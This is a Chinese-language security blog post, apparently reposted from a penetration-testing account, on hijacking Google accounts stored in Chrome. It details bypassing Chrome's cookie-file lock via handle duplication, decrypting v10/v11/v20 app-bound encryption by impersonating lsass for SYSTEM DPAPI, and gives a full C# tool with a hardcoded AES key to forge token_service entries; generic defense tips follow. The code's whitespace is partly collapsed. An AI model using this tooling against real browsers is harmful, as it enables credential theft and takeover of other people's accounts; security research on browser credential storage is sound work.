Chrome浏览器的Google账户接管研究

admin 2025年1月22日09:46:46评论14 views字数 18247阅读60分49秒阅读模式

Google Chrome是一款由Google公司开发的网页浏览器,基于Google自家开放源代码的Chromium制造,但是包含非开放源代码套件。Chrome及其他基于Chromium制作的浏览器,目前占据的整个浏览器市场的大半壁江山。

在攻击活动中,经常会有需要接管目标账户,进行进一步信息收集或取证的需求。目前已有大量工具可以用于从浏览器中提取密码、Cookies等敏感信息,但一方面绝大多数公开工具存在缺陷,无法适应可能遇到i的各种环境,另一方面Chrome浏览器对于Google账户的凭据储存存在特殊机制,无法通过Cookies直接实现接管。

Google账户登录验证

在Edge等浏览器中,如果用户登录了Google账户,可以通过提取相关Cookies的方法,直接接管相应账号,但是在Chrome浏览器中,这样是行不通的。Chrome中对Google的登录有自己的一些机制。

简单来说,可以通过在Chrome浏览器中访问chrome://signin-internals/来查看Google账号登陆情况。这里有一个重要参数token_service需要我们修改,具体怎么提取和修改呢?

一些准备工作

在历代的Chromium系列浏览器中,加解密都是基于DPAPI及AES-256-GSM。Chromium系列浏览器的配置文件保存在形如"%localappdata%GoogleChromeUser Data"的目录中。其中在Local State文件中保存了一些通用且关键的Key信息。而默认用户配置文件目录是Default,如果有其他用户,则会有Profile加空格加数字的文件夹存在。其中的Cookies(高版本为NetworkCookies)文件储存了Cookies信息,Web Data文件储存了一个关键的token_service值。

在Chrome中,正是这个token_service,保存了重要信息,来保证Google账号登陆。我们可以通过替换本地浏览器的Web Data文件中此条,并导入Google相关Cookies的方式,完成接管。

Chromium系列浏览器对Cookies文件的锁定读取

在Chrome的114版本中,增加了一个功能LockProfileCookieDatabase(在更晚的更新中,此功能作为永久功能保留并删除了此选项),这个功能是为了防止其他软件随意读取敏感的Cookies文件,其实现方法是在使用CreateFile的API时,其SHARE_MODE参数中不添加SHARE_READ参数。这样就实现了对该文件的独占访问。当Chrome进程运行时,其他进程无法读取该文件。

直接通过api读取文件是不太现实的了,这就需要我们通过一些特殊的方法去获取该文件内容了。一些的可用的方法如下:

VSS

VSS 依托于 Windows 系统的存储架构,通过协调多个组件,如请求者(Requestor)、写入器(Writer)和提供者(Provider)来创建卷影副本。当触发卷影复制操作时,写入器负责暂停相关应用程序对文件的写入操作,确保数据一致性,提供者则负责实际的数据复制工作,最终生成一个可供访问的卷影副本,该副本反映了特定时间点的文件系统状态。VSS 协调为要备份的数据创建一致的卷影副本(也称为快照或时间点副本)所需的操作。

这个操作需要管理员权限,且在实际操作中成功率存疑,并且VSS可能对系统性能造成影响。

Low Level Disk Reading

常规文件系统访问通过目录、文件分配表(FAT)或 NTFS 元数据等抽象层,将用户对文件的逻辑操作(如打开、读取、写入)转换为磁盘物理地址的读写指令。低级磁盘读取则绕过部分或全部此类抽象,直接向磁盘控制器发送指令,获取磁盘原始数据块。

这个操作同样需要管理员权限,但是对不同文件系统的解析均没有非常稳定的开源实现。

Inject

可以通过将提取文件或解密工具注入进浏览器对应进程,即可直接正常打开独占句柄的文件。

但众所周知,注入方案众多,权限要求不一,但稳定性及免杀方面很难保证。

DuplicateHandle

当一个进程锁定文件后,其他进程无法直接通过常规文件打开函数访问。但借助 DuplicateHandle 函数,可以从锁定文件的源进程中复制文件句柄到目标进程。在复制过程中,合理设置访问权限参数,使得目标进程获得对该文件的读取权限,即使文件在源进程中处于锁定状态,目标进程也能通过复制得到的句柄读取文件内容。

这个操作只需要和目标进程同级别权限,并且行为较为隐秘。

具体实现

  • • 使用NtQueryInformationFile的FileProcessIdsUsingFileInformation参数,直接获取具有锁定文件句柄的进程。
  • • 通过NtQuerySystemInformation的SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX参数获取全局所有句柄,并根据上一步获得的进程名筛选该进程句柄。
  • • 依次复制句柄至自己进程并通过NtQueryObject查询句柄信息,直至找到目标句柄。

* 使用该句柄读取文件内容即可。

Chromium系列浏览器的解密-V10/V11/<80

对于Chrome 80之前的版本,可以直接使用DPAPI解密,对于80之后的版本,则修改为AES-256-GCM加密,加密过程可以参考os_crypt_win.cc,解密时可以根据开头为v10或v11判断为新版本加密,对于新版本,password_value的开头版本号为3位,其后12位为IV。AES加密使用的key来自浏览器数据目录的Local State文件,此文件内容为json,其中encrypted_key是base64编码的key。

Chromium系列浏览器的解密-V20

类似V10版本,但是需要从Local State文件中先获取app_bound_encrypted_key,对其base64解码后可获得一个APPB开头的key,先通过SYSTEM权限的DPAPI进行解密后再通过当前用户进行DPAPI解密,并取其后60位,以

sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=

经过base64后的值为key,后60位中前12位为IV,60位中后16位tag,对中间32位进行Aes-Gcm解密即可获得最终的key,这个key可以用类似之前版本的方案去正常解密数据库内容。

这套流程需要最低管理员权限,所以目前在低权限放弃V20解密,管理员权限的话,可以从lsass(高版本系统lsass存在PPL保护,可以考虑换成本session的WinLogon进程)进程获取SYSTEM句柄去模拟。

如果考虑程序可以直接system执行的话,就可以配合获取explorer或其他用户权限进程模拟即可。

最后要注意,解密的如果是Cookies,解密结果要去除前32位乱码,Web Data的内容无需此步处理。

解密结果的使用

最后我们会获取到解密的token_service和Google相关的cookies。Cookies可以通过Global Cookie Manager等工具导入,但Web Data没有现成工具使用,我们可以自己写一个加密脚本进行导入。

using Community.CsharpSqlite.SQLiteClient;using System;using System.Diagnostics;using System.IO;using System.Linq;using System.Runtime.InteropServices;using System.Security.Cryptography;using System.Text;using System.Text.RegularExpressions;namespaceWebDataReplace{internalclassProgram    {staticvoidMain(string[] args)        {            Console.Write("ID:");string id = Console.ReadLine();            Console.Write("Token:");string token = Console.ReadLine();string webdatapath = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\Chrome\User Data\Default"), "Web Data");using (SqliteConnection conn = new SqliteConnection(@"Data Source=" + webdatapath + ";Version=3;"))            {                conn.Open();                SqliteCommand cmd = new SqliteCommand(webdata(id, token), conn);                cmd.ExecuteNonQuery();            }            Console.WriteLine("OK");            Console.ReadLine();        }privatestaticstringwebdata(string id, string token)        {byte[] key = GetAppBoundKey();byte[] iv = newbyte[12];byte[] result = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(token))[0];byte[] tag = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(token))[1];byte[] final = newbyte[31 + result.Length];            final[0] = (byte)'v';            final[1] = (byte)'2';            final[2] = (byte)'0';            Array.Copy(iv, 0, final, 312);            Array.Copy(result, 0, final, 15, result.Length);            Array.Copy(tag, 0, final, 15 + result.Length, 16);string t = BitConverter.ToString(final, 0).Replace("-""");string output = "INSERT INTO token_service (service,encrypted_token) VALUES ('" + id + "',x'" + t + "');";return output;        }publicenum PROCESS_ACCESS_FLAGS : uint        {            PROCESS_ALL_ACCESS = 0x001F0FFF,            PROCESS_CREATE_PROCESS = 0x0080,            PROCESS_CREATE_THREAD = 0x0002,            PROCESS_DUP_HANDLE = 0x0040,            PROCESS_QUERY_INFORMATION = 0x0400,            PROCESS_QUERY_LIMITED_INFORMATION = 0x1000,            PROCESS_SET_INFORMATION = 0x0200,            PROCESS_SET_QUOTA = 0x0100,            PROCESS_SUSPEND_RESUME = 0x0800,            PROCESS_TERMINATE = 0x0001,            PROCESS_VM_OPERATION = 0x0008,            PROCESS_VM_READ = 0x0010,            PROCESS_VM_WRITE = 0x0020,            SYNCHRONIZE = 0x00100000        }        [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]publicstaticexternboolRevertToSelf();        [DllImport("advapi32.dll", SetLastError = true)]        [return: MarshalAs(UnmanagedType.Bool)]publicstaticexternboolOpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);        [DllImport("advapi32.dll")]publicexternstaticboolDuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle);        [DllImport("advapi32.dll", SetLastError = true)]publicstaticexternboolSetThreadToken(IntPtr pHandle, IntPtr hToken);        [DllImport("kernel32.dll", SetLastError = true)]publicstaticextern IntPtr OpenProcess(PROCESS_ACCESS_FLAGS dwDesiredAccess, bool bInheritHandle, int dwProcessId);publicstaticboolImpersonateProcessToken(int pid)        {            IntPtr hProcess = OpenProcess(PROCESS_ACCESS_FLAGS.PROCESS_QUERY_INFORMATION, true, pid);if (hProcess == IntPtr.Zero) returnfalse;            IntPtr hToken;if (!OpenProcessToken(hProcess, 0x00000002 | 0x00000004out hToken)) returnfalse;            IntPtr DuplicatedToken = new IntPtr();if (!DuplicateToken(hToken, 2ref DuplicatedToken)) returnfalse;if (!SetThreadToken(IntPtr.Zero, DuplicatedToken)) returnfalse;returntrue;        }publicstaticbyte[] GetAppBoundKey()        {try            {string filePath = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\Chrome\User Data"), "Local State");if (!File.Exists(filePath))returnnull;var pattern = new Regex(""app_bound_encrypted_key":"(.*?)"", RegexOptions.Compiled).Matches(File.ReadAllText(filePath).Replace(" """));byte[] masterKey = null;foreach (Match prof in pattern)                {if (prof.Success)                        masterKey = Convert.FromBase64String((prof.Groups[1].Value));                }if (masterKey.Length >= 4 && Encoding.UTF8.GetString(masterKey).StartsWith("APPB"))                {byte[] tempresult = newbyte[masterKey.Length - 4];                    Array.Copy(masterKey, 4, tempresult, 0, masterKey.Length - 4);                    masterKey = tempresult;                }                ImpersonateProcessToken(Process.GetProcessesByName("lsass")[0].Id);byte[] result = ProtectedData.Unprotect(masterKey, null, DataProtectionScope.LocalMachine);                RevertToSelf();byte[] Key1 = ProtectedData.Unprotect(result, null, DataProtectionScope.CurrentUser);byte[] Key2 = Key1.Skip(Math.Max(0, Key1.Length - 60)).ToArray();byte[] decryptedData = null;string aesKeyBase64 = "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=";byte[] aesKey = Convert.FromBase64String(aesKeyBase64);byte[] iv = Key2.Take(12).ToArray();byte[] ciphertext = Key2.Skip(12).Take(32).ToArray();byte[] tag = Key2.Skip(44).Take(16).ToArray();                decryptedData = new AesGcm().Decrypt(aesKey, iv, null, ciphertext, tag);return decryptedData;            }catch            {returnnull;            }        }    }classAesGcm    {publicbyte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)        {            IntPtr hAlg = OpenAlgorithmProvider(Native.BCRYPT_AES_ALGORITHM, Native.MS_PRIMITIVE_PROVIDER, Native.BCRYPT_CHAIN_MODE_GCM);var keyDataBuffer = ImportKey(hAlg, key, outvar hKey);byte[] plainText;            Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo = new Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);byte[] ivData = newbyte[MaxAuthTagSize(hAlg)];int plainTextSize = 0;uint status = Native.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null0ref plainTextSize, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptDecrypt() (get size) failed with status code: {status}");            plainText = newbyte[plainTextSize];            status = Native.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0);if (status == Native.STATUS_AUTH_TAG_MISMATCH)thrownew CryptographicException("Native.BCryptDecrypt(): authentication tag mismatch");if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptDecrypt() failed with status code:{status}");            authInfo.Dispose();            Native.BCryptDestroyKey(hKey);            Marshal.FreeHGlobal(keyDataBuffer);            Native.BCryptCloseAlgorithmProvider(hAlg, 0x0);return plainText;        }publicstaticbyte[][] Encrypt(byte[] key, byte[] iv, byte[] aad, byte[] plainText)        {            IntPtr hAlg = OpenAlgorithmProvider(Native.BCRYPT_AES_ALGORITHM, Native.MS_PRIMITIVE_PROVIDER, Native.BCRYPT_CHAIN_MODE_GCM);            IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey);byte[] cipher;byte[] tag = newbyte[MaxAuthTagSize(hAlg)];var authInfo = new Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, tag);using (authInfo)            {byte[] ivData = newbyte[tag.Length];int cipherSize = 0;uint status = Native.BCryptEncrypt(hKey, plainText, plainText.Length, ref authInfo, ivData, ivData.Length, null0ref cipherSize, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException(string.Format("Native.BCryptEncrypt() (get size) failed with status code:{0}", status));                cipher = newbyte[cipherSize];                status = Native.BCryptEncrypt(hKey, plainText, plainText.Length, ref authInfo, ivData, ivData.Length,                                              cipher, cipher.Length, ref cipherSize, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException(string.Format("Native.BCryptEncrypt() failed with status code:{0}", status));                Marshal.Copy(authInfo.pbTag, tag, 0, authInfo.cbTag);            }            Native.BCryptDestroyKey(hKey);            Marshal.FreeHGlobal(keyDataBuffer);            Native.BCryptCloseAlgorithmProvider(hAlg, 0x0);returnnew[] { cipher, tag };        }privatestaticintMaxAuthTagSize(IntPtr hAlg)        {byte[] tagLengthsValue = GetProperty(hAlg, Native.BCRYPT_AUTH_TAG_LENGTH);return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0);        }privatestatic IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode)        {uint status = Native.BCryptOpenAlgorithmProvider(outvar hAlg, alg, provider, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptOpenAlgorithmProvider() failed with status code:{status}");byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode);            status = Native.BCryptSetAlgorithmProperty(hAlg, Native.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptSetAlgorithmProperty(Native.BCRYPT_CHAINING_MODE, Native.BCRYPT_CHAIN_MODE_GCM) failed with status code:{status}");return hAlg;        }privatestatic IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey)        {byte[] objLength = GetProperty(hAlg, Native.BCRYPT_OBJECT_LENGTH);int keyDataSize = BitConverter.ToInt32(objLength, 0);            IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize);byte[] keyBlob = Concat(Native.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key);uint status = Native.BCryptImportKey(hAlg, IntPtr.Zero, Native.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptImportKey() failed with status code:{status}");return keyDataBuffer;        }privatestaticbyte[] GetProperty(IntPtr hAlg, string name)        {int size = 0;uint status = Native.BCryptGetProperty(hAlg, name, null0ref size, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptGetProperty() (get size) failed with status code:{status}");byte[] value = newbyte[size];            status = Native.BCryptGetProperty(hAlg, name, valuevalue.Length, ref size, 0x0);if (status != Native.ERROR_SUCCESS)thrownew CryptographicException($"Native.BCryptGetProperty() failed with status code:{status}");returnvalue;        }publicstaticbyte[] Concat(paramsbyte[][] arrays)        {int len = 0;foreach (byte[] array in arrays)            {if (array == null)continue;                len += array.Length;            }byte[] result = newbyte[len - 1 + 1];int offset = 0;foreach (byte[] array in arrays)            {if (array == null)continue;                Buffer.BlockCopy(array, 0, result, offset, array.Length);                offset += array.Length;            }return result;        }    }classNative    {#region BCryptpublicconstuint ERROR_SUCCESS = 0x00000000;publicconstuint BCRYPT_PAD_PSS = 8;publicconstuint BCRYPT_PAD_OAEP = 4;publicstaticreadonlybyte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b);publicstaticreadonlystring BCRYPT_OBJECT_LENGTH = "ObjectLength";publicstaticreadonlystring BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";publicstaticreadonlystring BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength";publicstaticreadonlystring BCRYPT_CHAINING_MODE = "ChainingMode";publicstaticreadonlystring BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";publicstaticreadonlystring BCRYPT_AES_ALGORITHM = "AES";publicstaticreadonlystring MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider";publicstaticreadonlyint BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001;publicstaticreadonlyint BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001;publicstaticreadonlyuint STATUS_AUTH_TAG_MISMATCH = 0xC000A002;        [DllImport("BCrypt.dll")]publicstaticexternuintBCryptOpenAlgorithmProvider(out IntPtr phAlgorithm,                                                              [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId,                                                              [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation,uint dwFlags);        [DllImport("BCrypt.dll")]publicstaticexternuintBCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags);        [DllImport("BCrypt.dll", EntryPoint = "BCryptGetProperty")]publicstaticexternuintBCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, refint pcbResult, uint flags);        [DllImport("BCrypt.dll", EntryPoint = "BCryptSetProperty")]internalstaticexternuintBCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);        [DllImport("BCrypt.dll")]publicstaticexternuintBCryptImportKey(IntPtr hAlgorithm,                                                  IntPtr hImportKey,                                                  [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType,out IntPtr phKey,                                                  IntPtr pbKeyObject,int cbKeyObject,byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data)int cbInput,uint dwFlags);        [DllImport("BCrypt.dll")]publicstaticexternuintBCryptDestroyKey(IntPtr hKey);        [DllImport("BCrypt.dll")]internalstaticexternuintBCryptDecrypt(IntPtr hKey,byte[] pbInput,int cbInput,ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,byte[] pbIV,int cbIV,byte[] pbOutput,int cbOutput,refint pcbResult,int dwFlags);        [DllImport("bcrypt.dll")]publicstaticexternuintBCryptEncrypt(IntPtr hKey,byte[] pbInput,int cbInput,ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,byte[] pbIV, int cbIV,byte[] pbOutput,int cbOutput,refint pcbResult,uint dwFlags);        [StructLayout(LayoutKind.Sequential)]publicstruct BCRYPT_PSS_PADDING_INFO        {publicBCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt)            {this.pszAlgId = pszAlgId;this.cbSalt = cbSalt;            }            [MarshalAs(UnmanagedType.LPWStr)]publicstring pszAlgId;publicint cbSalt;        }        [StructLayout(LayoutKind.Sequential)]publicstruct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable        {publicint cbSize;publicint dwInfoVersion;public IntPtr pbNonce;publicint cbNonce;public IntPtr pbAuthData;publicint cbAuthData;public IntPtr pbTag;publicint cbTag;public IntPtr pbMacContext;publicint cbMacContext;publicint cbAAD;publiclong cbData;publicint dwFlags;publicBCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this()            {                dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION;                cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));if (iv != null)                {                    cbNonce = iv.Length;                    pbNonce = Marshal.AllocHGlobal(cbNonce);                    Marshal.Copy(iv, 0, pbNonce, cbNonce);                }if (aad != null)                {                    cbAuthData = aad.Length;                    pbAuthData = Marshal.AllocHGlobal(cbAuthData);                    Marshal.Copy(aad, 0, pbAuthData, cbAuthData);                }if (tag != null)                {                    cbTag = tag.Length;                    pbTag = Marshal.AllocHGlobal(cbTag);                    Marshal.Copy(tag, 0, pbTag, cbTag);                    cbMacContext = tag.Length;                    pbMacContext = Marshal.AllocHGlobal(cbMacContext);                }            }publicvoidDispose()            {if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce);if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag);if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData);if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext);            }        }        [StructLayout(LayoutKind.Sequential)]publicstruct BCRYPT_OAEP_PADDING_INFO        {publicBCRYPT_OAEP_PADDING_INFO(string alg)            {                pszAlgId = alg;                pbLabel = IntPtr.Zero;                cbLabel = 0;            }            [MarshalAs(UnmanagedType.LPWStr)]publicstring pszAlgId;public IntPtr pbLabel;publicint cbLabel;        }#endregion    }}

截至这里,也就完成了在Chrome浏览器上接管Google的原理介绍和方案实现。

仅供研究,勿作他用

防范方式

  • • 启用双重验证:为Google账户启用双重验证,例如通过手机验证码或身份验证器应用,可有效防止未经授权的登录。
  • • 设置强密码:使用复杂且独特的密码,并定期更换,避免在不同平台使用相同密码。
  • • 更新浏览器和扩展程序:确保Chrome浏览器及扩展程序始终保持最新版本,以修复已知漏洞。
  • • 谨慎下载扩展程序:仅从官方商店下载扩展程序,避免安装权限过高的插件。
  • • 启用安全浏览功能:确保Chrome的安全浏览功能已开启,以检测并警告恶意网站。
  • • 定期清理数据:定期清除浏览历史、Cookies和缓存,减少隐私泄露风险。
  • • 提高安全意识:警惕钓鱼邮件和可疑链接,避免在不安全的网站上输入账户信息。
  • • 使用安全工具:安装可靠的杀毒软件和防火墙,防止恶意软件入侵。
  • • 绑定手机号:将Google账户与手机号绑定,可显著提升账户安全性。

通过以上措施,可以有效降低Chrome浏览器中Google账户被接管的风险。

原文始发于微信公众号(君立渗透测试研究中心):Chrome浏览器的Google账户接管研究

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月22日09:46:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Chrome浏览器的Google账户接管研究https://cn-sec.com/archives/3650608.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息